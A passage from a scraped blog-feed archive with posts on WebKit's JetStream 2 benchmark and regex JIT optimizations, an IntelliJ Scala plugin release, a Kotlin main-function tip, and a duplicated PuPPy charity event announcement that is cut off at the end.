WSL is JetStream 2’s one JavaScript benchmark that is an exception to the above scoring technique. WSL uses a different scoring mechanism because it takes orders of magnitude longer than the other benchmarks to run through a single iteration. It instead computes its score as the geometric mean over two metrics: the time it takes to compile the WSL standard library, and the time it takes to run through the WSL specification test suite. 
JetStream 2’s WebAssembly benchmarks are scored in two parts that equally weigh startup time and total execution time. The first part is the startup time, which is the time it takes until the WebAssembly module is instantiated. This is the time it takes the browser to put the WebAssembly code in a runnable state. The second part is the execution time. This is the time it takes to run the benchmark’s workload after it is instantiated. Both metrics are crucial for JetStream 2 to measure. Good startup performance makes it so that WebAssembly applications load quickly. Good execution time makes it so WebAssembly benchmarks run quickly and smoothly. 
In total, JetStream 2 includes 64 benchmarks. Each benchmark’s score is computed as outlined above, and the final score is computed as the geometric mean of those 64 scores. 
Optimizing Regular Expressions
The Web Tooling Benchmark made us aware of some performance deficiencies in JavaScriptCore’s Regular Expression processing and provided a great way to measure any performance improvements for changes we made. For some background, the JavaScriptCore Regular Expression engine, also know as YARR, has both a JIT and interpreter matching engine. There were several types of patterns that were commonly used in the WebTooling Benchmark tests that JavaScriptCore didn’t have support for in the YARR JIT. This included back references, and nested greedy and non-greedy groups. 
A back reference takes the form of /^(x*) 123 \1$/, where we match what is in the parenthesized group and then match the same thing again later in the string when a prior group is referenced. For the example given here, the string "x 123 x" would match as well as the string “xxxxx 123 xxxxx”. It matches any line that begins with 0 or more 'x', has " 123 " in the middle, and then ends with the same number of 'x' characters as the string started with. JIT support for back references was added for both Unicode and non-Unicode patterns. We also added JIT support for patterns with the ignore case flag that process ASCII and Latin1 strings. Back reference matching of Unicode ignore case patterns is more problematic due to the large amount of case folding data required. So, we revert to the YARR interpreter for Unicode regular expressions that contain back references that also ignore character case. 
Before discussing the next improvement we made to the regular expression engine, some background is in order. The YARR Regular Expression engine uses a backtracking algorithm. When we want to match a pattern like /a[bc]*c/, we process forward in the pattern and when we fail to match a term, we backtrack to the prior term to see if we can try the match a little differently. The [bc]* term will match as many b’s and/or c’s in a row as possible. The string “abc” matches the pattern, but it needs to backtrack when matching the 'c' the first time. This happens because the middle [bc]* term will match both the 'b' and the 'c', and when we try to match the final 'c' term in the pattern, the string has been exhausted. We backtrack to the [bc]* term and reduce the length of that term’s match from “bc” to just “b” and then match the final 'c' term. This algorithm requires state information to be saved for various term types so that we can backtrack. Before we started this work, backtracking state consisted of counts and pointers into the term’s progress in a subject string. 
We had to extend how backtracking state was saved in order to add support for counted captured parenthesized groups that are nested within longer patterns. Consider a pattern like /a(b|c)*bc/. In addition to the backtracking information for the contents of the captured parenthesized group, we also need to save that group’s match count, and start and end locations as part of the captured group’s backtracking state. This state is saved in nodes on a singly linked list stack structure. The size of these parenthesized group backtracking nodes is variable, depending on the amount of state needed for all nested terms including the nested capture group’s extents. Whenever we begin matching a parenthesized group, either for the first or a subsequent time, we save the state for all the terms nested within that group as a new node on this stack. When we backtrack to the beginning of a parenthesized group, to try a shorter match or to backtrack to the prior terms, we pop the captured group’s backtracking node and restore the saved state. 
We also made two other performance improvements that helped our JetStream 2 performance. One is matching longer constant strings at once and the other is canonicalizing constructed character classes. We have had the optimization to match multiple adjacent fixed characters in a pattern as a group for some time, where we could match up to 32bits of character data at once, e.g four 8 bit characters. Consider the expression /starting/, which simply looks for the string “starting”.  These optimizations allowed us to match “star” with one 32 bit load-compare-branch sequence and then the trailing “ting” with a second 32 bit load-compare-branch sequence. The recent change was made for 64 bit platforms and allows us to match eight 8 bit characters at a time. With this change, this regular expression is now matched with a single 64 bit load-compare-branch sequence. 
The latest Regular Expression performance improvement we did that provided some benefit to JetStream 2 was to coalesce character classes. For background, character classes can be constructed from individual characters, ranges of characters, built in escape characters, or built in character classes. Prior to this change, the character class [\dABCDEFabcdef], which matches any hex digit, would check for digit characters by comparing a character value against ‘0’ and ‘9’, and then individually compare it against each of the alphabetic characters, 'A', 'B', etc. Although this character class could have been written as [\dA-Fa-f], it makes sense for YARR to do this type of optimization for the JavaScript developer. Our change to character class coalescing now does this. We merge individual adjacent characters into ranges, and adjacent ranges into larger ranges. This often reduces the number of compare and branch instructions. Before this optimization, /[\dABCDEFabcdef]/.exec(“X”) would require 14 compares and branches to determine there wasn’t a match. Now it takes just 4 compares and branches. 
The performance impact of these optimizations was dramatic for some of the Web Tooling Benchmark tests.  Adding the ability to JIT greedy nested parens improved the performance of coffeescript by 6.5x. JIT’ing non-greedy nested parens was a 5.8x improvement to espree and a 3.1x improvement to acorn. JIT’ing back references improved coffeescript by another 5x for a total improvement of 33x on that test. These changes also had smaller, but still measurable improvements on other JetStream 2 tests. 
Performance Results
The best way for us to understand the state of performance in JavaScriptCore is both to track our performance over time and to compare our performance to other JavaScript engines. This section compares the performance of the prior released version of Safari, Safari 12.0.3, the newly released Safari 12.1 from macOS 10.14.4, and the latest released versions of Chrome, Chrome 73.0.3683.86, and Firefox, Firefox 66.0.1. 
All numbers are gathered on a 2018 MacBook Pro (13-inch, Four Thunderbolt 3 Ports, MacBookPro15,2), with a 2.3GHz Intel Core i5 and 8GB of RAM. The numbers for Safari 12.0.3 were gathered on macOS 10.14.3. The numbers for Safari 12.1, Chrome 73.0.3683.86, and Firefox 66.0.1 were gathered on macOS 10.14.4. The numbers are the average of five runs of the JetStream 2 benchmark in each browser. Each browser was quit and relaunched between each run. 

The above figure shows that Safari 12.1 is the fastest browser at running JetStream 2. It is 9% faster than Safari 12.0.3, 8% faster than Chrome 73.0.3683.86, and 68% faster than Firefox 66.0.1. 
Conclusion
JetStream 2 is a major update to the JetStream benchmark suite and we’re excited to be sharing it with you today. JetStream 2 includes a diverse set of 64 JavaScript and WebAssembly benchmarks, making it the most extensive and representative JavaScript benchmark we’ve ever released. We believe that engines optimizing for this benchmark will lead to better JavaScript performance on the web. The JavaScriptCore team is focused on improving JetStream 2 and has already made a 9% improvement on it in Safari 12.1. 
We’d love to hear any feedback you have on JetStream 2 or the optimizations we’ve made for it. Get in touch with Saam or Michael on Twitter with any feedback you have.</text><languageCode>en</languageCode><locationCode>id</locationCode><coordinates /><links><link>https://www.browserbench.org/JetStream2.0</link><link>https://www.browserbench.org/ARES-6</link><link>https://v8.github.io/web-tooling-benchmark</link><link>https://wiki.mozilla.org/Kraken_Info</link><link>https://en.wikipedia.org/wiki/Time-series_segmentation</link><link>https://perf.webkit.org/v3/#/charts?paneList=((16-1))&amp;since=1551316855687</link><link>https://www.browserbench.org/JetStream2.0/in-depth.html</link><link>https://www.twitter.com/saambarati</link><link>https://www.twitter.com/msaboff</link></links><tags><tag>Performance</tag></tags><images /><indexedAt>2019-03-27T17:30:45Z</indexedAt><publishedAt>2019-03-27T17:00:04Z</publishedAt><reindexedAt>2019-03-27T17:30:45Z</reindexedAt><inlinksCount>8</inlinksCount><blogId>3373120709395750702</blogId><blogName>WebKit</blogName><blogUrl>https://webkit.org</blogUrl><blogRank>5</blogRank><authority>985</authority></post><post><id>14985476081525524743</id><author>Pavel Fatin</author><url>https://blog.jetbrains.com/scala/2019/03/27/intellij-scala-plugin-2019-1-highlighting-for-comprehensions-find-usages-for-implicits-and-more/</url><title>IntelliJ Scala Plugin 2019.1: Highlighting For-comprehensions, Find Usages for Implicits, and More</title><text>Some releases are about adding more features. In this release, we’ve focused on improving the existing features of the Scala plugin. These features are the bread and butter of Scala programmers, so we hope the improvements will make our day-to-day work much easier. Here goes: 

Highlighting of for-comprehensions
Find Usages for implicits
Decompile to Java for Scala .class files
Customizable Scalafmt version
Separate HOCON plugin
Error highlighting improvements

Highlighting of for-comprehensions
For-comprehensions can sometimes be… incomprehensible. Being a syntactic sugar for composing foreach, map, flatMap, and filter / withFilter operations, for-comprehensions look very differently from the implied method calls. As a Scala programmer, you can probably desugar for-comprehensions in your mind’s eye and, as long as your code compiles, all is well. 
The problem begins when there’s an error (yes, once in a while this does happen, you know). An error inside a for-comprehension is actually an error inside its desugared form. Highlighting such an error is tricky, because, in addition to the desugaring, this requires some kind of reverse transformation (“error sugaring”?). 
In this release, we present a solution that makes errors in for-comprehensions more comprehensible: 
 
We treat &lt;- as a reference to the corresponding foreach / map / flatMap method, and we treat if as a reference to the filter / withFilter method. 
This also lets you invoke GoTo, Quick Definition, and Quick Documentation actions in those spots. For example: 
 
The binding of &lt;- and if symbols to the method calls makes it possible to display implicit arguments: 
 
If that looks a bit unusual, it’s due to the limitation of the language syntax – there’s no way to pass explicit arguments to implicit parameters in a for-comprehension (should we create a SIP?). However, this is consistent with the chosen schema, and is required for showing implicits-related errors: 
 
On top of all that, we’ve improved the desugaring of for-comprehensions. So, if you’re curious about what is behind the curtain of syntactic sugar, you can press Alt + Enter and Desugar for comprehension (or you can rely on the Code | Desugar Scala code action). 
Find Usages for implicits
Speaking of implicits, previously the implicits hints allowed you to see usages of implicits and go from usages to definitions, but you couldn’t do the reverse – go from definitions to usages, by invoking Find Usages. Well, now you can: 
This capability relies on bytecode indices, and can also be used to locate other things that are hidden behind the syntactic sugar, and not present in the source code “as is”, including: 

apply / unapply method calls,
Single Abstract Method (SAM) type instantiations,
foreach / map / flatMap / filter / withFilter calls via a for-comprehension (this nicely complements the for-comprehenison highlighting).

The feature goes beyond the typical search. While you can emulate Find Usages by means of a full-text search (albeit imperfectly), you cannot rely on text to find something that is not there. Together with the View | Show Implicit Hints, this feature puts you in control of the ‘invisible’ things. 
Decompile to Java for Scala .class files
Did you know that IntelliJ IDEA can decompile .class files to Java? Now this is also possible for compiled Scala files. Suppose you have a third-party class that does something, but you don’t know what – because there are no sources at hand: 
 
That’s where the Decompile to Java may come in handy: 
 
Customizable Scalafmt version
While we supported the scalafmt formatter last year, the Scala plugin could use only a single, bundled version of scalafmt. Now IntelliJ IDEA can automatically download and use whatever version of scalafmt you configure in .scalafmt.conf: 
 
The feature relies on the scalafmt-dynamic module, and so needs an Internet connection. Other than that, this doesn’t require any additional action on your part – everything just works (or at least we hope it does – let us know if it doesn’t for you!). 
By the way, we’re also constantly improving the build-in IntelliJ IDEA formatter too  
Separate HOCON plugin
Hocon is a “Human-Optimized Config Object Notation” format used by many ‘enterprise’ Scala frameworks such as Akka or Play. Because of that, previous versions of the plugin bundled the support of HOCON together with the support of Scala. And yet not everyone who uses Scala needs HOCON. 
In this release, we’ve extracted the HOCON support into a separate repository and a separate plugin: 
 
If you do need HOCON, you don’t have to do anything – the HOCON plugin will be automatically installed with the Scala plugin update (and, subsequently, updated). But now you have more flexibility – if you don’t use HOCON, you can easily disable or remove the HOCON plugin in Settings | Plugins. 
(Kudos to Roman Janusz for developing the HOCON plugin!) 
Error highlighting improvements
While we’re constantly working to make error highlighting even better, sometimes we improve it a lot… like this time! Here are a few highlights: 

Partial unification and type variable unification in general.
Constructor highlighting, and calls to private constructors.
better-monadic-for compiler plugin: implicit0 feature.
kind-projector: value level polymorphic lambdas.
simulacrum: higher-arity type constructors.

Here’s an example to inspire you: 
 
We’re also refactoring our code to make it cleaner and clearer, so if you’ve ever wanted to contribute to the Scala plugin, now is a better time than ever. 
While we’ve tried hard to prevent and avoid bugs, absolute perfection is impossible to attain. We’re planning a bugfix release, so please report any issues to YouTrack so that we can fix them as soon as possible. 
 
By the way, the IntelliJ Scala plugin now has an official Twitter account: @IntelliJScala – feel free to follow us for more news and updates. 
Develop with Pleasure! No, Drive to Develop! Oh… never mind. Just enjoy! 
(and, your feedback is welcome) 
Sincerely, 
The IntelliJ Scala plugin team</text><languageCode>en</languageCode><locationCode /><coordinates /><links><link>https://docs.scala-lang.org/tutorials/FAQ/yield.html</link><link>https://www.github.com/lightbend/config/blob/master/HOCON.md</link><link>https://www.akka.io/</link><link>https://www.playframework.com/</link><link>https://www.github.com/JetBrains/intellij-hocon</link><link>https://plugins.jetbrains.com/plugin/10481-hocon</link><link>https://www.github.com/ghik</link><link>https://youtrack.jetbrains.net/issues/SCL</link><link>https://www.twitter.com/IntelliJScala</link></links><tags><tag>Uncategorized</tag></tags><images /><indexedAt>2019-03-27T18:16:59Z</indexedAt><publishedAt>2019-03-27T16:57:55Z</publishedAt><reindexedAt>2019-03-27T18:16:59Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>17477812698265047566</blogId><blogName>IntelliJ Scala plugin blog</blogName><blogUrl>https://blog.jetbrains.com/scala</blogUrl><blogRank>1</blogRank><authority>7</authority></post><post><id>3469766505703511755</id><author>tkonuklar</author><url>https://medium.com/@TKonuklar/kotlin-code-pills-main-function-2bd8dfec926d?source=rss-225721b02c33------2</url><title>Kotlin Code Pills — Main Function</title><text>Kotlin Code Pills — Main FunctionI decide to start to write some small and quick code pills to help to understand how Kotlin works. As you know, Kotlin works on JVM and most of developers are friendly with Java, that’s why I will use Java to help to show concept of Kotlin. Let’s write main function to print Hello World. Java :https://medium.com/media/9bfccfcca6c3ed7eff9ce4f582a36ac4/hrefKotlin :https://medium.com/media/6d468614195bd7bb0d3fdad763b52b9b/hrefThere are some the differences you can see on Kotlin: Functions starts with fun words.There is no static keywordClass definition is not mandatory in Kotlin, because, default access modifier is public final , all functions can be reachable from all classes, thats why class definition is not mandatory , if you don’t restrict.There is no semi column end of the code line -; This is not mandatoryFunction variables are define with this formula             (var/val [: ][= initialiser])Bonus Tips: Default access modifier                        Kotlin — public final                         Java — package private You can follow code pills in here. See you on next code pill.</text><languageCode>en</languageCode><locationCode /><coordinates /><links><link>https://www.medium.com/media/9bfccfcca6c3ed7eff9ce4f582a36ac4/href</link><link>https://www.medium.com/media/6d468614195bd7bb0d3fdad763b52b9b/href</link><link>https://www.github.com/tkonuklar/kotlinCodePills</link></links><tags><tag>java</tag><tag>kotlin</tag><tag>code-pills</tag><tag>maon-function</tag></tags><images /><indexedAt>2019-03-27T16:58:03Z</indexedAt><publishedAt>2019-03-27T16:57:22Z</publishedAt><reindexedAt>2019-03-27T16:58:03Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>1691007834943901406</blogId><blogName>Stories by tkonuklar on Medium</blogName><blogUrl>https://medium.com/@TKonuklar?source=rss-225721b02c33------2</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>12933503563996568037</id><author>The Mask</author><url>https://iwishic.blogspot.com/2019/03/python-software-foundation-puppy.html</url><title>Python Software Foundation: PuPPy Presents its 1st Annual Benefit featuring Guido van Rossum</title><text>p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 19.0px; font: 16.0px 'Times New Roman'; color: #000000; -webkit-text-stroke: #000000} p.p2 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 14.0px; font: 12.0px Times; color: #000000; -webkit-text-stroke: #000000; min-height: 14.0px} p.p3 {margin: 0.0px 0.0px 5.3px 0.0px; line-height: 22.0px; font: 18.7px 'Times New Roman'; color: #000000; -webkit-text-stroke: #000000} p.p4 {margin: 0.0px 0.0px 2.6px 0.0px; line-height: 19.0px; font: 16.0px 'Times New Roman'; color: #000000; -webkit-text-stroke: #000000} p.p5 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 19.0px; font: 16.0px 'Times New Roman'; color: #1155cc; -webkit-text-stroke: #1155cc} p.p6 {margin: 0.0px 0.0px 5.3px 0.0px; line-height: 22.0px; font: 14.0px Times; color: #000000; -webkit-text-stroke: #000000; min-height: 18.0px} span.s1 {font-kerning: none} span.s2 {text-decoration: underline ; font-kerning: none; color: #1155cc; -webkit-text-stroke: 0px #1155cc} span.s3 {text-decoration: underline ; font-kerning: none}PuPPy Presents its 1st Annual Benefit A historic discussion of programming language creators aboutthe past and future of language design.  April 2, 2019, 5:30 - 9:30 PMThe Collective Seattle400 Dexter Ave N.Seattle, WA 98109  Featuring Language CreatorsJames Gosling - JavaAnders Hejlsberg - Turbo Pascal, C#, TypeScriptGuido van Rossum - PythonLarry Wall - Perl Summary PuPPy, Seattle's Puget Sound Programming Python user group, presents its 1st annual charity event. The event will feature the creators of C#, Java, Perl, Python, and TypeScript in a conversation about programming language design.  The charity event brings together this unique group of computer science pioneers, unlike any event held before. These great minds come together for what will surely be a fantastic night of discussion, as the panel delves into the past and future of programming language creation. The event will attract innovators and engineers from Seattle, the nation’s fastest growing technology hub. The event is a benefit for CSforALL, a non-profit organization that represents more than 500 members who are educators, content providers, funders and researchers who share a vision for all students in the U.S. to learn computer science. CSforALL provides leadership and guidance that helps the K-12 education community implement computer science initiatives, draw from best practices and connect with national organizations to expand access to all students in the U.S. The event follows in the spirit and culture of PuPPy, the producers of this benefit, as an inclusive community. The very first PuPPy meeting 54 months ago was a mini-conference that featured discussions on allyship and helping more women join the ranks of software professionals.  Event tickets and further details are available at: http://bdfl-gift.pspython.com. Speakers Cyrus Habib - Washington State Lieutenant Governor - Opening remarksCyrus Habib was elected Washington State’s 16th Lieutenant Governor in November 2016 at the age of 35. He had previously been elected to the State House of Representatives in 2012 and the State Senate in 2014, where he was Democratic Whip and a member of the Democratic leadership team. As Lt. Governor, he is President of the State Senate, serves as Acting Governor whenever Governor Inslee leaves the state, and oversees an agency whose key issues include economic development, trade, and higher education.A three-time cancer survivor, Lt. Governor Habib has been fully blind since age eight. His parents immigrated to the U.S. from Iran before he was born, and he is the first and only Iranian-American to hold statewide elected office in the United States. Carol Willing - ModeratorCarol Willing serves as a Steering Council member for Project Jupyter. She received the 2017 ACM Software System Award for Jupyter's development. She is also a member of the inaugural Python Steering Council, a Python Software Foundation Fellow and former Director; a core developer on CPython, Jupyter, nteract, AnitaB.org’s open source projects, and PyLadies; a co-organizer of PyLadies San Diego and San Diego Python User Group; an independent developer of hardware and software. Weaving her love of art, music, and nature with wearable soft circuits, she is developing an open hardware project to assist an in-home caregiver with gentle, compassionate support of a loved one with Alzheimer’s. James Gosling - JavaJames A. Gosling, O.C., Ph.D. (born May 19, 1955, near Calgary, Alberta, Canada) is a famous software developer, best known as the father of the Java programming language. In 1977, James Gosling received a B.Sc in Computer Science from the University of Calgary. In 1983, he earned a Ph.D. in Computer Science from Carnegie Mellon University, and his doctoral thesis was titled "The Algebraic Manipulation of Constraints". While working towards his doctorate, he wrote a version of emacs (gosmacs), and before joining Sun Microsystems he built a multi-processor version of Unix[1] while at Carnegie Mellon University, as well as several compilers and mail systems. Since 1984, Gosling has been with Sun Microsystems. He is generally credited as the inventor of the Java programming language in 1991. He did the original design of Java and implemented its original compiler and virtual machine. For this achievement, he was elected to the United States National Academy of Engineering. He has also made major contributions to several other software systems, such as NeWS and Gosling Emacs. He also co-wrote the "bundle" program, a utility thoroughly detailed in Brian Kernighan and Rob Pike's book, "The Unix Programming Environment". Anders Hejlsberg - Turbo Pascal, C#, TypeScriptAnders Hejlsberg is a Microsoft Technical Fellow and has been designing and implementing programming languages and development tools for over 35 years. Anders is the lead architect of the TypeScript open-source project and the original designer of the C# programming language. Before joining Microsoft in 1996, Anders was a Principal Engineer at Borland International. As one of the first employees of Borland, he was the original author of Turbo Pascal and later worked as the Chief Architect of the Delphi product line. Anders studied Engineering at the Technical University of Denmark. Guido van Rossum - PythonGuido van Rossum is the creator of Python, one of the major programming languages on and off the web. Recently Guido retired as Benevolent Dictator For Life (“BDFL”) of Python, a title seemingly stolen from a Monty Python skit. Details of his decision were featured in an Economist article. Guido thankfully has joined the Python Steering Council. This five-person group will give guidance to the future roadmap of the Python programming language. Van Rossum moved from the Netherlands to the USA, in 1995. He met his wife after his move. Until July 2003 they lived in the northern Virginia suburbs of Washington, DC with their son Orlijn, who was born in 2001. They then moved to Silicon Valley where Guido worked for a variety of companies including Google in the past and currently at Dropbox (spending 50% of his time on Python!). Larry Wall - PerlLarry Wall was educated at various places including the Cornish School of Music, the Seattle Youth Symphony, Seattle Pacific University, Multnomah School of the Bible, SIL International, U.C. Berkeley, and UCLA. Though trained primarily in music, chemistry, and linguistics, Larry has been working with computers for the last 40 years or so. He is most famous for writing rn, patch, and the Perl programming language, but prefers to think of himself as a cultural hacker whose vocation in life is to bring a bit of joy into the dreary existence of programmers. For various definitions of “work for”, Larry has worked for Seattle Pacific, MusiComedy Northwest, System Development Corporation, Burroughs, Unisys, the NSA, Telos, ConTel, GTE, JPL, NetLabs, Seagate, Tim O’Reilly, the Perl Foundation, Broadcom, and himself. He is currently serving as Artist in Residence for Craigslist. About CSforAllhttps://ift.tt/2UbRWjX CSforALL, shorthand for “Computer Science for All,” is the central hub for the K-12 national computer science education movement. CSforALL is the community organizer of school districts, nonprofits, government agencies and corporations that share the goal of rigorous, inclusive and sustainable CS education in the U.S. About PuPPyhttps://ift.tt/2JIAGPh PuPPy is a fun and friendly user group dedicated to proliferating a diverse and talented Python community in the Puget Sound region. We are devoted to exploring Python-based programming knowledge, embracing new and experienced members from all walks of life, and helping those members to achieve their professional goals. Event Leadership Ruthe Farmer – Event Chair - Chief Evangelist for CSforALLCarol Willing – Moderator -- Steering Council member and developer for Project Jupyter and PythonLorena Mesa – Vice Chair -- GitHub Data Engineer - Software Intelligence Systems | PyLadies Chicago Organizer | Python Software Foundation DirectorEloisa Tran -- Fundraising Chair -- Founder of the Women in Data Science WiDS, Data Scientist for City of Bellevue      from Planet Python https://ift.tt/2U9YBv1</text><languageCode>en</languageCode><locationCode>it</locationCode><coordinates /><links><link>http://bdfl-gift.pspython.com/</link><link>https://www.pspython.com/app</link><link>https://www.csforall.org/</link><link>http://bdfl-gift.pspython.com/</link><link>http://www.ltgov.wa.gov/biography</link><link>https://www.willingconsulting.com/</link><link>http://www.nighthacks.com/jag/bio</link><link>https://www.github.com/ahejlsberg</link><link>https://gvanrossum.github.io/</link><link>http://www.wall.org/~larry</link><link>https://4.bp.blogspot.com/-e6zsWUTw48o/XJqabIoCPRI/AAAAAAAAilE/bfFlqmu8NzIQi4r8M__xFqEWJgzxWYCWwCLcBGAs/s1600/CSforALL-logo.png</link><link>https://www.csforall.org/media-faq</link><link>https://2.bp.blogspot.com/-v8wuM7Fkabw/XJqZ6rTx13I/AAAAAAAAik8/1rX_nqHNG9oRSzI7musyzkHc450g3TLzACLcBGAs/s1600/puppy.png</link><link>https://www.pspython.com/app</link><link>https://www.linkedin.com/in/ruthefarmer</link><link>https://www.willingconsulting.com/</link><link>http://www.lorenamesa.com/</link><link>https://www.linkedin.com/in/eloeliasds</link><link>http://feeds.feedburner.com/~ff/PythonSoftwareFoundationNews?a=LabBUK7ygHY:JEKlMOxKCdY:yIl2AUoC8zA</link><link>http://feeds.feedburner.com/~ff/PythonSoftwareFoundationNews?a=LabBUK7ygHY:JEKlMOxKCdY:-BTjWOF_DHI</link><link>http://feeds.feedburner.com/~ff/PythonSoftwareFoundationNews?a=LabBUK7ygHY:JEKlMOxKCdY:F7zBnMyn0Lo</link><link>http://feeds.feedburner.com/~ff/PythonSoftwareFoundationNews?a=LabBUK7ygHY:JEKlMOxKCdY:V_sGLiPBpWU</link></links><tags><tag>Planet Python</tag></tags><images /><indexedAt>2019-03-27T17:30:25Z</indexedAt><publishedAt>2019-03-27T16:52:00Z</publishedAt><reindexedAt>2019-03-27T17:30:25Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>7294169356892963710</blogId><blogName>Iwic</blogName><blogUrl>https://iwishic.blogspot.com/</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>16741249493612530633</id><author>The Mask</author><url>http://iwishic.blogspot.com/2019/03/python-software-foundation-puppy.html</url><title>Python Software Foundation: PuPPy Presents its 1st Annual Benefit featuring Guido van Rossum</title><text>p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 19.0px; font: 16.0px 'Times New Roman'; color: #000000; -webkit-text-stroke: #000000} p.p2 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 14.0px; font: 12.0px Times; color: #000000; -webkit-text-stroke: #000000; min-height: 14.0px} p.p3 {margin: 0.0px 0.0px 5.3px 0.0px; line-height: 22.0px; font: 18.7px 'Times New Roman'; color: #000000; -webkit-text-stroke: #000000} p.p4 {margin: 0.0px 0.0px 2.6px 0.0px; line-height: 19.0px; font: 16.0px 'Times New Roman'; color: #000000; -webkit-text-stroke: #000000} p.p5 {margin: 0.0px 0.0px 0.0px 0.0px; line-height: 19.0px; font: 16.0px 'Times New Roman'; color: #1155cc; -webkit-text-stroke: #1155cc} p.p6 {margin: 0.0px 0.0px 5.3px 0.0px; line-height: 22.0px; font: 14.0px Times; color: #000000; -webkit-text-stroke: #000000; min-height: 18.0px} span.s1 {font-kerning: none} span.s2 {text-decoration: underline ; font-kerning: none; color: #1155cc; -webkit-text-stroke: 0px #1155cc} span.s3 {text-decoration: underline ; font-kerning: none}PuPPy Presents its 1st Annual Benefit A historic discussion of programming language creators aboutthe past and future of language design.  April 2, 2019, 5:30 - 9:30 PMThe Collective Seattle400 Dexter Ave N.Seattle, WA 98109  Featuring Language CreatorsJames Gosling - JavaAnders Hejlsberg - Turbo Pascal, C#, TypeScriptGuido van Rossum - PythonLarry Wall - Perl Summary PuPPy, Seattle's Puget Sound Programming Python user group, presents its 1st annual charity event. The event will feature the creators of C#, Java, Perl, Python, and TypeScript in a conversation about programming language design.  The charity event brings together this unique group of computer science pioneers, unlike any event held before. These great minds come together for what will surely be a fantastic night of discussion, as the panel delves into the past and future of programming language creation. The event will attract innovators and engineers from Seattle, the nation’s fastest growing technology hub. The event is a benefit for CSforALL, a non-profit organization that represents more than 500 members who are educators, content providers, funders and researchers who share a vision for all students in the U.S. to learn computer science. CSforALL provides leadership and guidance that helps the K-12 education community implement computer science initiatives, draw from best practices and connect with national organizations to expand access to all students in the U.S. The event follows in the spirit and culture of PuPPy, the producers of this benefit, as an inclusive community. The very first PuPPy meeting 54 months ago was a mini-conference that featured discussions on allyship and helping more women join the ranks of software professionals.  Event tickets and further details are available at: http://bdfl-gift.pspython.com. Speakers Cyrus Habib - Washington State Lieutenant Governor - Opening remarksCyrus Habib was elected Washington State’s 16th Lieutenant Governor in November 2016 at the age of 35. He had previously been elected to the State House of Representatives in 2012 and the State Senate in 2014, where he was Democratic Whip and a member of the Democratic leadership team. As Lt. Governor, he is President of the State Senate, serves as Acting Governor whenever Governor Inslee leaves the state, and oversees an agency whose key issues include economic development, trade, and higher education.A three-time cancer survivor, Lt. Governor Habib has been fully blind since age eight. His parents immigrated to the U.S. from Iran before he was born, and he is the first and only Iranian-American to hold statewide elected office in the United States. Carol Willing - ModeratorCarol Willing serves as a Steering Council member for Project Jupyter. She received the 2017 ACM Software System Award for Jupyter's development. She is also a member of the inaugural Python Steering Council, a Python Software Foundation Fellow and former Director; a core developer on CPython, Jupyter, nteract, AnitaB.org’s open source projects, and PyLadies; a co-organizer of PyLadies San Diego and San Diego Python User Group; an independent developer of hardware and software. Weaving her love of art, music, and nature with wearable soft circuits, she is developing an open hardware project to assist an in-home caregiver with gentle, compassionate support of a loved one with Alzheimer’s. James Gosling - JavaJames A. Gosling, O.C., Ph.D. (born May 19, 1955, near Calgary, Alberta, Canada) is a famous software developer, best known as the father of the Java programming language. In 1977, James Gosling received a B.Sc in Computer Science from the University of Calgary. In 1983, he earned a Ph.D. in Computer Science from Carnegie Mellon University, and his doctoral thesis was titled "The Algebraic Manipulation of Constraints". While working towards his doctorate, he wrote a version of emacs (gosmacs), and before joining Sun Microsystems he built a multi-processor version of Unix[1] while at Carnegie Mellon University, as well as several compilers and mail systems. Since 1984, Gosling has been with Sun Microsystems. He is generally credited as the inventor of the Java programming language in 1991. He did the original design of Java and implemented its original compiler and virtual machine. For this achievement, he was elected to the United States National Academy of Engineering. He has also made major contributions to several other software systems, such as NeWS and Gosling Emacs. He also co-wrote the "bundle" program, a utility thoroughly detailed in Brian Kernighan and Rob Pike's book, "The Unix Programming Environment". Anders Hejlsberg - Turbo Pascal, C#, TypeScriptAnders Hejlsberg is a Microsoft Technical Fellow and has been designing and implementing programming languages and development tools for over 35 years. Anders is the lead architect of the TypeScript open-source project and the original designer of the C# programming language. Before joining Microsoft in 1996, Anders was a Principal Engineer at Borland International. As one of the first employees of Borland, he was the original author of Turbo Pascal and later worked as the Chief Architect of the Delphi product line. Anders studied Engineering at the Technical University of Denmark. Guido van Rossum - PythonGuido van Rossum is the creator of Python, one of the major programming languages on and off the web. Recently Guido retired as Benevolent Dictator For Life (“BDFL”) of Python, a title seemingly stolen from a Monty Python skit. Details of his decision were featured in an Economist article. Guido thankfully has joined the Python Steering Council. This five-person group will give guidance to the future roadmap of the Python programming language. Van Rossum moved from the Netherlands to the USA, in 1995. He met his wife after his move. Until July 2003 they lived in the northern Virginia suburbs of Washington, DC with their son Orlijn, who was born in 2001. They then moved to Silicon Valley where Guido worked for a variety of companies including Google in the past and currently at Dropbox (spending 50% of his time on Python!). Larry Wall - PerlLarry Wall was educated at various places including the Cornish School of Music, the Seattle Youth Symphony, Seattle Pacific University, Multnomah School of the Bible, SIL International, U.C. Berkeley, and UCLA. Though trained primarily in music, chemistry, and linguistics, Larry has been working with computers for the last 40 years or so. He is most famous for writing rn, patch, and the Perl programming language, but prefers to think of himself as a cultural hacker whose vocation in life is to bring a bit of joy into the dreary existence of programmers. For various definitions of “work for”, Larry has worked for Seattle Pacific, MusiComedy Northwest, System Development Corporation, Burroughs, Unisys, the NSA, Telos, ConTel, GTE, JPL, NetLabs, Seagate, Tim O’Reilly, the Perl Foundation, Broadcom, and himself. He is currently serving as Artist in Residence for Craigslist. About CSforAllhttps://ift.tt/2UbRWjX CSforALL, shorthand for “Computer Science for All,” is the central hub for the K-12 national computer science education movement. CSforALL is the community organizer of school districts, nonprofits, government agencies and corporations that share the goal of rigorous, inclusive and sustainable CS education in the U.S. About PuPPyhttps://ift.tt/2JIAGPh PuPPy is a fun and friendly user group dedicated to proliferating a diverse and talented Python community in the Puget Sound region. We are devoted to exploring Python-based programming knowledge, embracing new and experienced members from all walks of life, and helping those members to achieve their professional goals. Event Leadership Ruthe Farmer – Event Chair - Chief Evangelist for CSforALLCarol Willing – Moderator -- Steering Council member and developer for Project Jupyter and 